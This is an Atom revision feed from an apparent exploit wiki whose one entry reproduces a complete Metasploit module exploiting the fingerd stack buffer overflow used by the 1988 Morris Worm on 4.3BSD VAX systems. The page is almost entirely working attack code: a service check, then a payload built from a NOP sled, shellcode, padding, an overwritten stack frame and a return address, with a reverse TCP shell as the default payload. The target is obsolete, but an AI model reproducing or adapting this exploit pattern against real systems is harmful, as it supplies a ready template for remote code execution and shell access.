<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Morris_Worm_fingerd_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>Morris Worm fingerd 緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Morris_Worm_fingerd_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Morris_Worm_fingerd_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T12:49:09Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Morris_Worm_fingerd_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=1504&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Morris_Worm_fingerd_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=1504&amp;oldid=prev"/>
		<updated>2021-04-11T01:19:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
&lt;br /&gt;
  Rank = NormalRanking&lt;br /&gt;
&lt;br /&gt;
  # This is so one-off that we define it here&lt;br /&gt;
  ARCH_VAX = 'vax'&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::Tcp&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'              =&amp;gt; 'Morris Worm fingerd Stack Buffer Overflow',&lt;br /&gt;
      'Description'       =&amp;gt; %q{&lt;br /&gt;
        This module exploits a stack buffer overflow in fingerd on 4.3BSD.&lt;br /&gt;
        This vulnerability was exploited by the Morris worm in 1988-11-02.&lt;br /&gt;
        Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.&lt;br /&gt;
      },&lt;br /&gt;
      'Author'            =&amp;gt; [&lt;br /&gt;
        'Robert Tappan Morris', # Discovery? Exploit and worm for sure&lt;br /&gt;
        'Cliff Stoll',          # The Cuckoo's Egg epilogue and inspiration&lt;br /&gt;
        'wvu'                   # Module, payload, and additional research&lt;br /&gt;
      ],&lt;br /&gt;
      'References'        =&amp;gt; [&lt;br /&gt;
        ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'],         # History&lt;br /&gt;
        ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],  # Analysis&lt;br /&gt;
        ['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'],   # Details&lt;br /&gt;
        ['URL', 'https://github.com/arialdomartini/morris-worm'],     # Source&lt;br /&gt;
        ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup&lt;br /&gt;
        # And credit to the innumerable VAX ISA docs on the Web&lt;br /&gt;
      ],&lt;br /&gt;
      'DisclosureDate'    =&amp;gt; 'Nov 2 1988',&lt;br /&gt;
      'License'           =&amp;gt; MSF_LICENSE,&lt;br /&gt;
      'Platform'          =&amp;gt; 'bsd',&lt;br /&gt;
      'Arch'              =&amp;gt; ARCH_VAX,&lt;br /&gt;
      'Privileged'        =&amp;gt; false, # Depends on inetd.conf, usually &amp;quot;nobody&amp;quot;&lt;br /&gt;
      'Targets'           =&amp;gt; [&lt;br /&gt;
        # https://en.wikipedia.org/wiki/Source_Code_Control_System&lt;br /&gt;
        ['@(#)fingerd.c   5.1 (Berkeley) 6/6/85',&lt;br /&gt;
          'Ret'           =&amp;gt; 0x7fffe9b0,&lt;br /&gt;
          'Payload'       =&amp;gt; {&lt;br /&gt;
            'Space'       =&amp;gt; 403,&lt;br /&gt;
            'BadChars'    =&amp;gt; &amp;quot;\n&amp;quot;,&lt;br /&gt;
            'Encoder'     =&amp;gt; 'generic/none', # There is no spoon&lt;br /&gt;
            'DisableNops' =&amp;gt; true            # Hardcoded NOPs&lt;br /&gt;
          }&lt;br /&gt;
        ]&lt;br /&gt;
      ],&lt;br /&gt;
      'DefaultTarget'     =&amp;gt; 0,&lt;br /&gt;
      'DefaultOptions'    =&amp;gt; {'PAYLOAD' =&amp;gt; 'bsd/vax/shell_reverse_tcp'}&lt;br /&gt;
    ))&lt;br /&gt;
&lt;br /&gt;
    register_options([Opt::RPORT(79)])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    token = rand_text_alphanumeric(8..42)&lt;br /&gt;
&lt;br /&gt;
    connect&lt;br /&gt;
    sock.put(&amp;quot;#{token}\n&amp;quot;)&lt;br /&gt;
    res = sock.get_once&lt;br /&gt;
&lt;br /&gt;
    return CheckCode::Unknown unless res&lt;br /&gt;
&lt;br /&gt;
    if res.include?(&amp;quot;Login name: #{token}&amp;quot;)&lt;br /&gt;
      return CheckCode::Detected&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    CheckCode::Safe&lt;br /&gt;
  rescue Rex::ConnectionError =&amp;gt; e&lt;br /&gt;
    vprint_error(e.message)&lt;br /&gt;
    CheckCode::Unknown&lt;br /&gt;
  ensure&lt;br /&gt;
    disconnect&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    # Start by generating our custom VAX shellcode&lt;br /&gt;
    shellcode = payload.encoded&lt;br /&gt;
&lt;br /&gt;
    # 0x01 is NOP in VAX-speak&lt;br /&gt;
    nops = &amp;quot;\x01&amp;quot; * (target.payload_space - shellcode.length)&lt;br /&gt;
&lt;br /&gt;
    # This overwrites part of the buffer&lt;br /&gt;
    junk = rand_text_alphanumeric(109)&lt;br /&gt;
&lt;br /&gt;
    # This zeroes out part of the stack frame&lt;br /&gt;
    frame = &amp;quot;\x00&amp;quot; * 16&lt;br /&gt;
&lt;br /&gt;
    # Finally, pack in our return address&lt;br /&gt;
    ret  = [target.ret].pack('V') # V is for VAX!&lt;br /&gt;
&lt;br /&gt;
    # The newline is for gets(3)&lt;br /&gt;
    sploit = nops + shellcode + junk + frame + ret + &amp;quot;\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    # Fire away&lt;br /&gt;
    print_status('Connecting to fingerd')&lt;br /&gt;
    connect&lt;br /&gt;
    print_status(&amp;quot;Sending #{sploit.length}-byte buffer&amp;quot;)&lt;br /&gt;
    sock.put(sploit)&lt;br /&gt;
&lt;br /&gt;
  # Hat tip @bcoles&lt;br /&gt;
  rescue Rex::ConnectionError =&amp;gt; e&lt;br /&gt;
    fail_with(Failure::Unreachable, e.message)&lt;br /&gt;
  ensure&lt;br /&gt;
    disconnect&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>